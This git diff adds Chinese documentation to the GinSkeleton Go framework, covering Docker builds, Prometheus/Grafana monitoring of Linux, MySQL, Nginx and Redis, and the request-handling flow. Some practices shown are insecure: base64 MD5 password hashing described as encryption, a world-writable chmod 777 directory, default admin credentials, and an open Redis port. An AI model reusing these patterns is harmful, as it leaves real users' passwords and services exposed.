--no-cache \ + -U tzdata \ + && cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \ + && echo "Asia/shanghai" > /etc/timezone \ + && chmod +x $work/${pm05_api_version} \ + # 对可执行文件进行改名,否在在容器运行后是获取不到 ARG 参数的 + && mv $work/${pm05_api_version} $work/pm05-api \ + && echo -e "\033[42;37m ${pm05_api_version} Build Completed :).\033[0m\n" + +EXPOSE 20191 20201 + + +ENTRYPOINT $work/pm05-api + +``` + +- 3.执行镜像构建命令 +```code +docker build --build-arg pm05_api_version=pm05-api-v1.0.0 -f Dockerfile_v1.0 -t pm05/api:v1.0.0 . +``` +相关的过程输出: +```code +Sending build context to Docker daemon 25.44MB +Step 1/11 : FROM alpine:3.14 + ---> d4ff818577bc +Step 2/11 : LABEL MAINTAINER="Ginskeleton <1990850157@qq.com>" + ---> Running in 29ecd19b3b5d +Removing intermediate container 29ecd19b3b5d + ---> 785def186a04 +Step 3/11 : ARG pm05_api_version=pm05-api-v1.0.0 + ---> Running in ba41ac8f4408 +Removing intermediate container ba41ac8f4408 + ---> 2733d5b269c4 +Step 4/11 : ENV work=/home/wwwroot/project2021/pm05 + ---> Running in 67c7fb5116d7 +Removing intermediate container 67c7fb5116d7 + ---> 64e977cb4710 +Step 5/11 : WORKDIR $work + ---> Running in cae479948f67 +Removing intermediate container cae479948f67 + +// ... 省略过程 ... + + +OK: 14962 distinct packages available ++ apk add --no-cache -U tzdata +fetch http://mirrors.ustc.edu.cn/alpine/v3.14/main/x86_64/APKINDEX.tar.gz +fetch http://mirrors.ustc.edu.cn/alpine/v3.14/community/x86_64/APKINDEX.tar.gz +fetch https://mirrors.tuna.tsinghua.edu.cn/alpine/v3.14/main/x86_64/APKINDEX.tar.gz +fetch https://mirrors.tuna.tsinghua.edu.cn/alpine/v3.14/community/x86_64/APKINDEX.tar.gz +(1/1) Installing tzdata (2021a-r0) +Executing busybox-1.33.1-r2.trigger +OK: 9 MiB in 15 packages ++ cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime ++ echo Asia/shanghai ++ chmod +x /home/wwwroot/project2021/pm05/pm05-api-v1.0.0 ++ mv /home/wwwroot/project2021/pm05/pm05-api-v1.0.0 /home/wwwroot/project2021/pm05/pm05-api + pm05-api-v1.0.0 Build Completed :). + ++ echo -e '\033[42;37m pm05-api-v1.0.0 Build Completed :).\033[0m\n' + + +``` + +- 3.基于镜像启动一个容器 +```code + +# 容器相关的资源、日志目录 storage 请自行使用 -v 映射即可 +# 此外 go 应用程序的容器也需要连接 mysql 等数据库,都需要 docker 更专业的知识,请另行学习 docker +docker run --name pm05-api-v1.0.0 -d -p 20201:20201 pm05/api:v1.0.0 + +# 验证 +docker ps -a + +curl 服务器ip:20201 进行测试即可 + +``` diff --git a/GinSkeleton/docs/deploy_go.md b/GinSkeleton/docs/deploy_go.md new file mode 100644 index 0000000..01c92cd --- /dev/null +++ b/GinSkeleton/docs/deploy_go.md @@ -0,0 +1,19 @@ +### 运维方案之Go +> 1.我们已经介绍完毕了 `Linux` 、`Mysql` 、`Redis` 、 `Nginx` 运维,接下来终于轮到介绍 `Go程序` 了,但是编写本篇文档却是一件令人沮丧的事情..... + + +#### 前言 +> 1.Go 应用程序属于业务应用,每个应用的侧重点差异很大,例如:有人关心某个go应用进程cpu、内存占用情况,有人希望获取该进程内部启动的协程总数量、以及GC状态. +> 2.如果是长连接应用,更多人关注的是同时在线数量等...,如果是Rpc服务,则更多关注的是Prc提供服务的成功率数据... +> 3.因此应用程序的监控指标没有统一的标准,这也导致了我们很难编写出一份完美的解决方案,监控某个具体的应用程序. +> 4.想要监控go应用程序你最关心的指标,则需要自己学会编写类似 node_export ,在/metrics 地址提供数据,供prometheus 获取,在 grafana 展示。 + + +### 这里我们介绍一些世面上已有的监控方案,但是依然不是标准的。 +> 1.监控 go 应用程序的原理:需要在go程序启动以后,自行收集关键指标,例如:本进程占用内存、cpu、启动的最大goroutine数量、GC等,对外提供/metrics服务地址,等待被获取。 +> 2.从目前网上搜索到的资料看,相关的库已经有4年没有更新了,而且是基于go1.7版本... +> 3.参考地址:https://github.com/bmhatfield/go-runtime-metrics + + +### 最后 +> 1.Go 应用进程的监控,目前推荐先暂时使用 [Supervisor](supervisor.md) ,虽然界面简陋,但是依然提供了可视化的进程运行状态。 \ No newline at end of file diff --git a/GinSkeleton/docs/deploy_linux.md b/GinSkeleton/docs/deploy_linux.md new file mode 100644 index 0000000..f8972ac --- /dev/null +++ b/GinSkeleton/docs/deploy_linux.md @@ -0,0 +1,131 @@ +### 运维方案之linux服务器篇 +> 1.为了更好地监控线上项目运行状态,我们从互联网选取了比较优秀的项目状态可视化管理、监控方案,`node_exporter`、 `prometheus` 、 `grafana` 组合。 +> 2.在本方案部署之前,您可以先迅速拖动鼠标到底部,查看最终效果图,增加阅读本文档的耐心,或者您也可以直接点击右侧,预览最终效果图:[服务器监控效果图](https://grafana.com/grafana/dashboards/8919) +> 3.核心软件简要介绍: +```code +# 详细功能以及架构图请自行从百度了解,这里我们作为一个使用者了解一下核心功能。 +node_exporter: 在 9100 端口启动一个服务,自身抓取linux系统底层的运行状态数据,例如:cpu状态、内存占用、磁盘占用、网络传输状态等,等待其他上层服务软件抓取。 +prometheus : 从 node_exporter 提供的服务端口 9100 主动获取数据,存储在自带的数据库 TSDB. +grafana : 数据展示系统,从 prometheus 提供的接口获取数据,最终展示给用户。 +``` + +#### 基础软件的安装,以centos为例 +> 1.docker 安装,如果已安装直接进入第2步。 +```code +# 移除老版本相关的残留信息 +yum remove docker \ + docker-client \ + docker-client-latest \ + docker-common \ + docker-latest \ + docker-latest-logrotate \ + docker-logrotate \ + docker-selinux \ + docker-engine-selinux \ + docker-engine + +#安装一些依赖工具 +yum install -y yum-utils device-mapper-persistent-data lvm2 + +#设置镜像源为阿里云 +yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo +yum makecache fast + +#安装docker免费版本(社区版) +yum -y install docker-ce + +#启动docekr服务 +systemctl start docker + +``` +> 2.本次核心软件安装、配置 +```code + +#拉取本次三个核心镜像 +docker pull prom/node-exporter +docker pull prom/prometheus +docker pull grafana/grafana + +# 获取本机ip,以备后用。 +ifconfig ,例如我的服务器内网ip: 172.19.130.185 ,后续命令请自行替换为自己的实际ip + +# 启动 node-exporter +#注意替换ip为自己的ip +docker run --name node_exporter -d -p 172.19.130.185:9100:9100 -e TZ=Asia/Shanghai -v "/proc:/host/proc:ro" -v "/sys:/host/sys:ro" -v "/:/rootfs:ro" --net="host" prom/node-exporter + +# 将将配置文件放置在以下目录,备docker映射使用。没有目录自行创建 +/opt/prometheus/prometheus.yml # #配置文件参考:https://wwa.lanzous.com/iCFFofevdgj +#核心配置部分 +scrape_configs: + #The job name is added as a label `job=` to any timeseries scraped from this config. + - job_name: 'prometheus' + static_configs: + - targets: ['172.19.130.185:9090'] + labels: + instance: "prometheus" + - job_name: "阿里云服务器" # 必须唯一,设置一下服务器总名称,请自行设置 + static_configs: + - targets: ["172.19.130.185:9100"] + labels: + instance: "GoSkeleton" #标记一下目标服务器的作用,请自行设置 + +#启动promethus +docker container run --name prometheus -d -p 172.19.130.185:9090:9090 -e TZ=Asia/Shanghai -v /opt/prometheus/prometheus.yml:/etc/prometheus/prometheus.yml prom/prometheus + +# grafana 的启动 +# 创建数据存储映射目录,主要用于存储grafana产生的数据,必须具备写权限 +mkdir -p /opt/grafana-storage && chmod 777 -R /opt/grafana-storage +#注意替换ip为自己的ip +docker container run --name=grafana -d -p 172.19.130.185:3000:3000 -e TZ=Asia/Shanghai -v /opt/grafana-storage:/var/lib/grafana grafana/grafana +``` + +#### 防火墙允许 9090 、 3000端口 、 9100端口,示例 +> A容器通过宿主机映射端口访问B容器,那么宿主机的映射端口就必须在防火墙打开,否则容器无法互通。 +```code +# 以添加 9090 端口为例,3000 端口重复以下代码接口 +firewall-cmd --zone=public --add-port=9090/tcp --permanent +firewall-cmd --complete-reload +#查看、确认已经允许的端口列表 +firewall-cmd --list-ports +``` + +#### 通过chrome浏览器访问 ip:3000 登录,一般都能成功登陆,默认账号密码:admin/admin + +##### 如果您登陆遇到了如下错误,那么请继续向下看: +![登录报错](https://www.ginskeleton.com/images/login_err.jpg) +> 谷歌浏览器登录可能一次性会成功,搜狗浏览器登录是会报错的。 +> 如果您的浏览器在登录时也报错,导致无法登陆成功,解决方案 +```code +#进入grafana容器 +docker exec -it grafana /bin/bash +#进入脚本目录 + cd /usr/share/grafana/bin +#修改密码,然后通过新密码登录就不会在登录界面报错了 + ./grafana-cli admin reset-admin-password 这里设置你的新密码 +``` + +#### 登录成功以后首先配置数据源 +> step1: +![添加数据源step1](https://www.ginskeleton.com/images/add_source1.png) +> step2: +![添加数据源step2](https://www.ginskeleton.com/images/add_source2.jpg) +> step3: 点击 selected +![添加数据源step2](https://www.ginskeleton.com/images/add_source3.jpg) +> step4: 点击 save&test 显示一切ok +![添加数据源step2](https://www.ginskeleton.com/images/add_source4.jpg) +![添加数据源step2](https://www.ginskeleton.com/images/grafana-prometheus.png) +![添加数据源step2](https://www.ginskeleton.com/images/add_source5.jpg) + +#### 导入监控服务器状态的模板 +![导入模板step2](https://www.ginskeleton.com/images/import1.jpg) +> step2: 这里的8919 是监控系统运行状态的模板id +> 相关模板地址: https://grafana.com/grafana/dashboards/8919 +> 更多模板选择地址: https://grafana.com/grafana/dashboards +![导入模板step2](https://www.ginskeleton.com/images/import2.jpg) + +#### 最终效果: +![最后查看step1](https://www.ginskeleton.com/images/finnal1.jpg) +![最后查看step2](https://www.ginskeleton.com/images/finnal2.jpg) +![最后查看step3](https://www.ginskeleton.com/images/linux1.png) +![最后查看step3](https://www.ginskeleton.com/images/linux2.png) + diff --git a/GinSkeleton/docs/deploy_mysql.md b/GinSkeleton/docs/deploy_mysql.md new file mode 100644 index 0000000..5fee49c --- /dev/null +++ b/GinSkeleton/docs/deploy_mysql.md @@ -0,0 +1,29 @@ +### 运维方案之Mysql +> 1.[上一篇](./deploy_linux.md) 已经介绍完毕了 `linux` 服务器运维管控,我们花费了非常多的心思编写文档、截图、目的就是让每个需要的人能100%达到理想效果,同时我们希望,如果您完成了上一篇配置,那么就必须要梳理一下流程,对整个操作模式有清晰的认识。 +> 2.运维的整体操作流程主要有:配置数据源、在`grafana` 官网寻找合适的模板、导入,至于再上一层楼,您可以自行编写模板。 +> 3.本篇我们开始介绍 `mysql` 的运维监控。 + +#### 特别提醒 +> 1.阿里云RDS数据库不允许获取数据库底层状态数据,相关函数无权限调用、执行,就算是厂家分配的最高权限,也无法获取主要的底层状态数据,因此RDS数据库无法使用本篇方案。 +> 2.但是RDS数据库,厂家提供了强大的后台运维界面,能够直观地监控数据库运行状态、占用的存储空间、性能、连接数、并发等,因此基本不需要本篇介绍的功能,您可以无视本篇。 + +#### 正式开始部署mysql运维监控 +> 1.本篇mysql监控的原理主要是通过账号、密码连接数据库,通过数据库自带函数获取mysql运行状态,在grafana展示。 +> 2.mysql的部署我们将以纯文本介绍,截图会导致项目体积变大,不利于下载。本篇所有的操作步骤都可以在上一篇找到截图,参考 [linux服务器运维](./deploy_linux.md) ,如果依然不明白,可以直接提 issue 。 +```code +#前言:本次mysql监控模板,是基于my2的,也就是说,首先你需要初始化一个my2数据库,才能正确显示本次模板 +https://github.com/meob/my2Collector # 从github找到my2.sql,复制里面的代码,粘贴到mysql管理端,直接使用root账号执行即可,或者使用官方推荐的sql导入方式同样可以初始化一个my2数据库。 + +# step1:添加数据源 +齿轮 —— Data Source —— Add data source —— 输入关键词mysql 搜索 —— 选中数据源,出现配置界面,进行账号、密码、端口配置 —— sava&test。 + +# step2: grafana 官方寻找 mysql 监控模板,例如:https://grafana.com/grafana/dashboards/7991,注意模板说明,是否依赖于my2数据库,如果依赖my2数据库,就必须先导入my2.sql数据库。 +https://grafana.com/grafana/dashboards // grafana 搜索模板地址,找到模板复制 id 号,本次模板ID :7991 + +# step3: 在 grafana 后台找到 import 导入模板ID:7991,数据源选择 mysql 即可。 + +``` + +#### mysql 最终监控效果图 +![mysql监控效果图](https://www.ginskeleton.com/images/mysql.png) + diff --git a/GinSkeleton/docs/deploy_nginx.md b/GinSkeleton/docs/deploy_nginx.md new file mode 100644 index 0000000..d8ac2ad --- /dev/null +++ b/GinSkeleton/docs/deploy_nginx.md @@ -0,0 +1,47 @@ +### 运维方案之Nginx +> 1.我们已经介绍完毕了 `Linux` 运维、`Mysql` 运维、`Redis` 运维,监控某个程序运行的状态整体流程大家都很熟练了,接下来继续介绍 `Nginx` 监控方案。 + + +#### 前言 +> 1.nginx监控的原理主要是编译niginx的时候增加 nginx-module-vts 模块,让他提供底层数据。 +> 2.其次需要安装nginx-vts-expoter 数据收集器,存储数据,等待被 prometheus 获取,最终在 grafana 展示。 +> 3.但是默认情况下,编译的nginx是没有这个模块的,因此在nginx新安装的时候就应该编译进去,如果是已有nginx,要么重新编译、要么使用docker方式进行重新配置替换原有nginx。 +> 4.由于我的nginx之前编译的时候没有编译 nginx-module-vts 模块,为了不影响已上线的项目,我们通过docker进行从头部署。 +> + +### 正式开始部署nginx运维监控 +> 1.以下操作涉及到的ip 172.19.130.185 是我ip ,实际操作注意替换为自己服务器的ip。 +> 2.nginx部分使用我本人进行编排的dockerfile生成、并且已经配置好了nginx运行状态数据输出地址。 +```code +# step1,拉取 nginx_vts 镜像,该 nginx 版本已经集成了 https://codeload.github.com/vozlt/nginx-module-vts/tar.gz/v0.1.18,并且对容器进行了配置,直接在ip:80/status提供状态数据。 +docker pull zhangqifeng/nginx_vts:v1.4 +# step2, 启动nginx_vts 镜像,镜像中nginx 的配置(/usr/local/nginx/conf/)、日志目录(/usr/local/nginx/logs/) 站点根目录:/usr/local/nginx/html/ 数据卷映射暂时忽略,您可以通过 -v 自行映射 +docker container run --name nginx_vts -d -p 172.19.130.185:9506:80 zhangqifeng/nginx_vts:v1.4 + +# step3, 此时你可以验证该nginx是否正常运行,只要有数据就是启动ok +访问地址 http://172.19.130.185:9506/status 、http://172.19.130.185:9506/status/format/json + +# step4, 拉取 nginx-vts-expoter 镜像,该镜像负责收集上一个镜像提供的运行状态数据,等待prometheus获取 +docker pull sophos/nginx-vts-exporter:latest # 该镜像的github地址:https://github.com/hnlq715/nginx-vts-exporter + +# step5, 启动 nginx-vts-exporter +docker run -p 172.19.130.185:9913:9913 -d --name nginx-vts-exporter -ti --rm --env NGINX_STATUS="http://172.19.130.185:9506/status/format/json" sophos/nginx-vts-exporter + +# step6, 配置prometheus文件 + - job_name: "Aliyun_Nginx" + static_configs: + - targets: ["172.19.130.185:9913"] + labels: + instance: "Nginx_001" + +# step7, nginx-vts-expoter 采集 docker 容器中启动的 nginx:9506 端口数据,需要穿越防火墙 +# 以设置9506端口为例,9913端口仿照设置即可。 +firewall-cmd --zone=public --add-port=9506/tcp --permanent +firewall-cmd --complete-reload + +# step8, 在 grafana 中导入nginx监控模板ID,2494 +// 相关模板地址:https://grafana.com/dashboards/2949 + +``` +#### 最终效果图 +![点击查看](https://www.ginskeleton.com/images/nginx_vts.png) \ No newline at end of file diff --git a/GinSkeleton/docs/deploy_nohup.md b/GinSkeleton/docs/deploy_nohup.md new file mode 100644 index 0000000..ba2a0cd --- /dev/null +++ b/GinSkeleton/docs/deploy_nohup.md @@ -0,0 +1,23 @@ +### nohup 开发测试环境部署方案 + +在项目开发、测试环境,我们需要的只是快速部署、测试项目功能,因此该方案是最简单、也是最适合开发调试环境的首选方案. + + +```code + +# 首先编译出可执行文件 +# 将可执行文件 + config目录 + public 目录 + storage 目录 合计4项全部复制在服务器。 +# 进入可执行文件目录执行 + nohup 可执行文件名 & + + + # 版本更新 + + # 杀死旧进程 + kill -9 (进程pid) + # 重新启动进程 + nohup 可执行文件名 & + +``` + + diff --git a/GinSkeleton/docs/deploy_redis.md b/GinSkeleton/docs/deploy_redis.md new file mode 100644 index 0000000..f2b6ec0 --- /dev/null +++ b/GinSkeleton/docs/deploy_redis.md @@ -0,0 +1,40 @@ +### 运维方案之Redis +> 1.本篇继续介绍 `redis` 监控方案。 + +#### 正式开始部署redis运维监控 +> 1.`redis` 监控的原理主要是通过 `redis_exporter` 连接 `redis://x.x.x.x:6379` 获取redis底层运行状态数据,prometheus 通过redies-expoter 数据收集器抓取数据,存储在自带的TSDB数据库,最终供 `grafana` 展示。 +> 2.特别提醒:在操作之前,检查 `redis.conf` 配置文件,bind 必须绑定在一个内网ip,不要绑定在 `127.0.0.1` 上面,否则通过docker是无法连接redis数据库服务器的。 +```code +#step 1 +docker pull oliver006/redis_exporter + +#step2 ,以下配中 172.19.130.185 是我自己的ip, 注意修改为您物理机器真实ip, +#redis.addr 指定redis地址,由于这里使用docker部署的服务,所以不能使用127.0.0.1地址。 +#redis.password redis认证密码,如果没有密码,该参数不需要 + +docker run -d --name redis_exporter -p 172.19.130.185:9121:9121 -e TZ=Asia/Shanghai oliver006/redis_exporter --redis.addr redis://172.19.130.185:6379 --redis.password 你的redis密码 + +#step3 配置 premetheus + - job_name: "阿里云redis服务器" + static_configs: + - targets: ['172.19.130.185:9121'] + labels: + instance: "Redis_GoSkeleton" + +#step4 重启docker启动的 prometheus 服务 +docker restart prometheus #prometheus 如果你全程是根据我们的部署文档进行部署的,那么你的premetheus服务就是名就是 prometheus ,否则自己替换成自己的服务名称即可。 + +#step5 防火墙端口设置 +> A容器通过宿主机映射端口访问B容器,那么宿主机的映射端口就必须在防火墙打开,否则容器无法互通。 +> 本次需要在防火墙允许 6379 、9121 端口 +# 以设置防火墙允许6379为例,9121 仿照设置即可。 +firewall-cmd --zone=public --add-port=6379/tcp --permanent +firewall-cmd --complete-reload + +#step6 在grafana选择自己喜欢的模板,导入 +本次在grafana 界面导入模板id 763 // 相关模板地址: https://grafana.com/dashboards/763 + +``` + +#### 最终效果图 +![redis最终效果](https://www.ginskeleton.com/images/redis.png) diff --git a/GinSkeleton/docs/document.md b/GinSkeleton/docs/document.md new file mode 100644 index 0000000..cf0aedd --- /dev/null +++ b/GinSkeleton/docs/document.md @@ -0,0 +1,316 @@ +### 文档说明 +> 1.首先请自行查看本项目骨架3分钟快速入门主线图,本文档将按照该图的主线逻辑展开... +> 2.本项目骨架开发过程中涉及到的参考资料,了解详情有利于了解本项目骨架的核心,建议您可以先学会本项目骨架之后再去了解相关引用。 +> 2.1 gin框架:https://github.com/gin-gonic/gin +> 2.2 websocket:https://github.com/gorilla/websocket +> 2.3 表单参数验证器:https://github.com/go-playground/validator +> 2.4 JWT相关资料:https://blog.csdn.net/codeSquare/article/details/99288718 +> 2.5 golang项目标准布局(中文翻译版):https://studygolang.com/articles/26941?fr=sidebar +> 2.6 golang项目标准布局(原版):https://github.com/golang-standards/project-layout +> 2.7 httpClient包相关资料:https://github.com/qifengzhang007/goCurl +> 2.8 RabbitMq相关资料:https://www.rabbitmq.com/ +> 2.9 cobra(Cli命令模式包) 相关资料:https://github.com/spf13/cobra/ +> 3.本文档侧重介绍本项目骨架的主线逻辑以及相关核心模块,不对gin框架的具体语法做介绍。 + +### 前言 +> 1.为了更好地理解后续文档,我们先说明一下 `gin(https://github.com/gin-gonic/gin)` 路由包的本质. +> 2.我们用以下代码为例进行说明 +```code + + // gin的中间件、路由组、路由 +authorized.Use(fun(c *gin.Context){ c.Next() }) + { + authorized.Group("/v1") // 路由组的第二个参数同样支持回调函数: fun(c *gin.Context){ ...省略代码 } + { + authorized.POST("/login", fun(c *gin.Context){ + c.PostForm("userName") + }) + + authorized.POST("/update", fun(c *gin.Context){ + c.PostForm("userName") + }) + } + } + +``` +> 3.从以上代码我们可以看出 `gin` 路由包的的中间件、路由组、路由本质都是采用的回调函数在处理后续的逻辑,回调函数最大的数量为 63 个. +> 4.我们也可以看出,`gin` 的回调函数非常工整、统一,只有一个参数 *gin.Context ,整个请求的数据全部在这个主线(上下文)里面,我们可以从这个参数获取表单请求参数,也可以自己额外绑定、追加. +> 5.其实,在任何时候不管我们通过什么方式,只要保证你的代码段形式是以上回调函数的形式,整个逻辑就是OK的. + + +### 1.框架启动, 初始化全局变量等相关的代码段 +> 代码位置 `bootstrap/init.go`:[进入详情](../bootstrap/init.go) +```go + // 这里主要介绍 init 函数的主要功能,详细的实现请点击上面的 进入详情 查看代码部分 + func init() { + // 1.初始化 项目根路径 + // 2.检查配置文件以及日志目录等非编译性的必要条件 + // 3.初始化表单参数验证器,注册在容器 + // 4.启动针对配置文件(confgi.yml、gorm_v2.yml)变化的监听 + // 5.初始化全局日志句柄,并载入日志钩子处理函数 + // 6.根据配置初始化 gorm mysql 全局 *gorm.Db + // 7.雪花算法全局变量 + // 8.websocket Hub中心启动 + } + +``` + +### 2.一个 request 到 response 的生命周期 + +##### 2.1 介绍路由之前首先简要介绍一下表单参数验证器 ,因为是路由“必经之地”。位置:app\http\validator\(web|api)\xxx业务模块 +```code + //1.首先编写参数验证器逻辑,例如:用户注册模块 + // 详情参见:app\http\validator\web\users\register.go + + //2.将以上编写好的表单参数验证器进行注册,便于程序启动时自动加载到容器,在路由定义处我们根据注册时的键,就可以直接调用相关的验证器代码段 + // 例如 我们注册该验证器的键: consts.ValidatorPrefix + "UsersRegister" ,程序启动时会自动加载到容器,获取的时候按照该键即刻获取相关的代码段 + // 详情参见:app\http\validator\common\register_validator\register_validator.go + +``` +##### 2.2.路由 ,位置:routers\web.go +```go + // 创建一个后端接口路由组 + V_Backend := routers.Group("/Admin/") + { + + // 【不需要】中间件验证的路由 用户注册、登录 + v_noAuth := V_Backend.Group("users/") + { + // 参数2说明: validatorFactory.Create(Consts.ValidatorPrefix+"UsersRegister") 该函数就是按照键直接从容器获取验证器代码 + v_noAuth.POST("register", validatorFactory.Create(Consts.ValidatorPrefix+"UsersRegister")) + } + + // 需要中间件验证的路由 + V_Backend.Use(authorization.CheckAuth()) + { + // 用户组路由 + v_users := V_Backend.Group("users/") + { + // 查询 ,这里的验证器直接从容器获取,是因为程序启动时,将验证器注册在了容器,具体代码位置:app\http\validator\Users\xxx + // 第二个参数本质上返回的就是 gin 的回调函数形式: fun(c *gin.Context){ ....省略代码 } + v_users.GET("index", validatorFactory.Create(Consts.ValidatorPrefix+"UsersShow")) + } + } + } +``` +> 分析 + 1.请求到达路由,业务逻辑出现细分:不需要和需要 中间件鉴权的请求。 + 2.不需要鉴权,直接切换到表单参数验证器模块,验证参数的合法性。 + 3.需要鉴权,首先切入中间件,中间件完成验证,再将请求切换到表单参数验证器模块,验证参数的合法性。 + +##### 2.3 中间件,位置:app\http\middleware\authorization +```go + // 选取一段代码说明 + type HeaderParams struct { + authorization string `header:"authorization"` + } + + // 本质上返回的代码段就是 gin 的标准回调函数形式 : func(c *gin.Context) { ... 省略代码 } + func CheckAuth() gin.HandlerFunc { + return func(context *gin.Context) { + // 模拟验证token + V_HeaderParams := HeaderParams{} + + // 使用ShouldbindHeader 方式获取头参数 + context.ShouldBindHeader(&V_HeaderParams) + // 对头参数中的token进行验证 + if len(V_HeaderParams.authorization) >= 20 { + ... + context.Next() // OK 下一步 + }else{ + context.Abort() // 不 OK 终止已注册代码执行 + } + } + +``` + +##### 2.4 表单参数验证器,位置:app\http\validator\(web|api)\(XXX业务模块)。 +>开发完成一个表单参数验证器,必须在注册文件(app\http\validator\register_validator\register_validator.go)增加记录,待程序启动时统一自动注册到容器。 +```go +type Register struct { + Base + Pass string `form:"pass" json:"pass" binding:"required,min=6,max=20"` //必填,密码长度范围:【6,20】闭区间 + //Captcha string `form:"captcha" json:"captcha" binding:"required,len=4"` // 验证码,必填,长度为:4 + //Phone string `form:"phone" json:"phone" binding:"required,len=11"` // 验证规则:必填,长度必须=11 + //CardNo string `form:"card_no" json:"card_no" binding:"required,len=18"` //身份证号码,必填,长度=18 +} + +func (r Register) CheckParams(context *gin.Context) { + //1.先按照验证器提供的基本语法,基本可以校验90%以上的不合格参数 + if err := context.ShouldBind(&r); err != nil { + errs := gin.H{ + "tips": "UserRegister参数校验失败,参数不符合规定,user_name 长度(>=1)、pass长度[6,20]、不允许注册", + "err": err.Error(), + } + response.ErrorParam(context, errs) + return + } + //2.继续验证具有中国特色的参数,例如 身份证号码等,基本语法校验了长度18位,然后可以自行编写正则表达式等更进一步验证每一部分组成 + // r.CardNo 获取值继续校验,这里省略..... + + // 该函数主要是将结构体的成员(字段)获取的数据以 键=>值 绑定在 context 上下文,然后传递给下一步(控制器) + // 绑定的键按照 consts.ValidatorPrefix+ json 标签组成,例如用户提交的密码(pass),绑定的键:consts.ValidatorPrefix+"pass" + // 自动绑定以后的结构体字段,在控制器就可以按照相关的键直接获取值,例如: pass := context.GetString(consts.ValidatorPrefix + "pass") + extraAddBindDataContext := data_transfer.DataAddContext(r, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserRegister表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Register(extraAddBindDataContext) + } +} + +``` + +##### 2.5 控制器,位置:app\http\controller\(web|api)\(XXX业务模块) +> 尽量让控制器成为一个调度器的角色,而不是在这里处理业务 +```go +type Users struct { +} + +// 1.用户注册 +func (u *Users) Register(context *gin.Context) { + // 由于本项目骨架已经将表单验证器的字段(成员)绑定在上下文,因此可以按照 GetString()、GetInt64()、GetFloat64()等快捷获取需要的数据类型,注意:相关键名规则: 前缀+验证器结构体中的 json 标签 + // 当然也可以通过gin框架的上下文原始方法获取,例如: context.PostForm("user_name") 获取,这样获取的数据格式为文本,需要自己继续转换 + userName := context.GetString(consts.ValidatorPrefix + "user_name") + pass := context.GetString(consts.ValidatorPrefix + "pass") + userIp := context.ClientIP() + if curd.CreateUserCurdFactory().Register(userName, pass, userIp) { + response.Success(context, consts.CurdStatusOkMsg, "") + } else { + response.Fail(context, consts.CurdRegisterFailCode, consts.CurdRegisterFailMsg, "") + } +} +``` + +###### 2.5.1 Model业务层,位置:app\models\(XXX业务模块) +> 控制器调度Model业务模块 +```go + +type UsersModel struct { + Model `json:"-"` + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"pass" form:"pass"` + Phone string `json:"phone" form:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status" form:"status"` + Token string `json:"token" form:"token"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass, userIp string) bool { + sql := "INSERT INTO tb_users(user_name,pass,last_login_ip) SELECT ?,?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userIp, userName) + if result.RowsAffected > 0 { + return true + } else { + return false + } +} + +``` + +###### 2.5.2 service业务层,位置:app\service\(XXX业务模块) +> 控制器调度service业务模块 +```go + +type UsersCurd struct { +} + // 预先处理密码加密,然后存储在数据库 +func (u *UsersCurd) Register(userName, pass, userIp string) bool { + pass = md5_encrypt.Base64Md5(pass) // 预先处理密码加密,然后存储在数据库 + return model.CreateUserFactory("").Register(userName, pass, userIp) +} + +``` + +##### 2.6 response响应,位置:app\utils\response\response.go +>这里我们只封装了json格式数据返回,如果需要 xml 、html、text等,请按照gin语法自行追加函数即可。 +```go + +func ReturnJson(Context *gin.Context, http_code int, data_code int, msg string, data interface{}) { + + //Context.Header("key2020","value2020") //可以根据实际情况在头部添加额外的其他信息 + + // 返回 json数据 + Context.JSON(http_code, gin.H{ + "code": data_code, + "msg": msg, + "data": data, + }) +} + +// 将json字符窜以标准json格式返回(例如,从redis读取json、格式的字符串,返回给浏览器json格式) +func ReturnJsonFromString(Context *gin.Context, http_code int, json_str string) { + Context.Header("Content-Type", "application/json; charset=utf-8") + Context.String(http_code, json_str) +} +} + +// v1.4.00 版本之后我们封装了其他一些语法糖函数,进一步精简代码 +// 语法糖函数封装 + +// 直接返回成功 +func Success(c *gin.Context, msg string, data interface{}) { + ReturnJson(c, http.StatusOK, consts.CurdStatusOkCode, msg, data) +} + +// 失败的业务逻辑 +func Fail(c *gin.Context, dataCode int, msg string, data interface{}) { + ReturnJson(c, http.StatusBadRequest, dataCode, msg, data) + c.Abort() +} + +//权限校验失败 +func ErrorTokenAuthFail(c *gin.Context) { + ReturnJson(c, http.StatusUnauthorized, http.StatusUnauthorized, my_errors.ErrorsNoAuthorization, "") + //暂停执行 + c.Abort() +} + +//参数校验错误 +func ErrorParam(c *gin.Context, wrongParam interface{}) { + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, wrongParam) + c.Abort() +} + +// 系统执行代码错误 +func ErrorSystem(c *gin.Context, msg string, data interface{}) { + ReturnJson(c, http.StatusInternalServerError, consts.ServerOccurredErrorCode, consts.ServerOccurredErrorMsg+msg, data) + c.Abort() +} + +``` + +#### 3.信号监听独立协程,位置:app\core\destroy\destroy.go +>该协程会在框架启动时被启动,用于监听程序可能收到的退出信号 +```go +func init() { + // 用于系统信号的监听 + go func() { + c := make(chan os.Signal) + signal.Notify(c, os.Interrupt, os.Kill, syscall.SIGQUIT, syscall.SIGINT, syscall.SIGTERM) // 监听可能的退出信号 + received := <-c //接收信号管道中的值 + variable.ZapLog.Warn(consts.ProcessKilled, zap.String("信号值", received.String())) + (event_manage.CreateEventManageFactory()).FuzzyCall(variable.EventDestroyPrefix) + close(c) + os.Exit(1) + }() + +} + +``` + + ### websocket模块 + > 1.或许你觉得websocket不应该出现在主线模块,但是在go中,ws长连接的建立确实是通过http升级协议完成的, 因此这块内容我们仍然放在了主线的最后. + > 2.启动ws服务,位置:config\config.yaml,找到相关配置开关开启。 + > 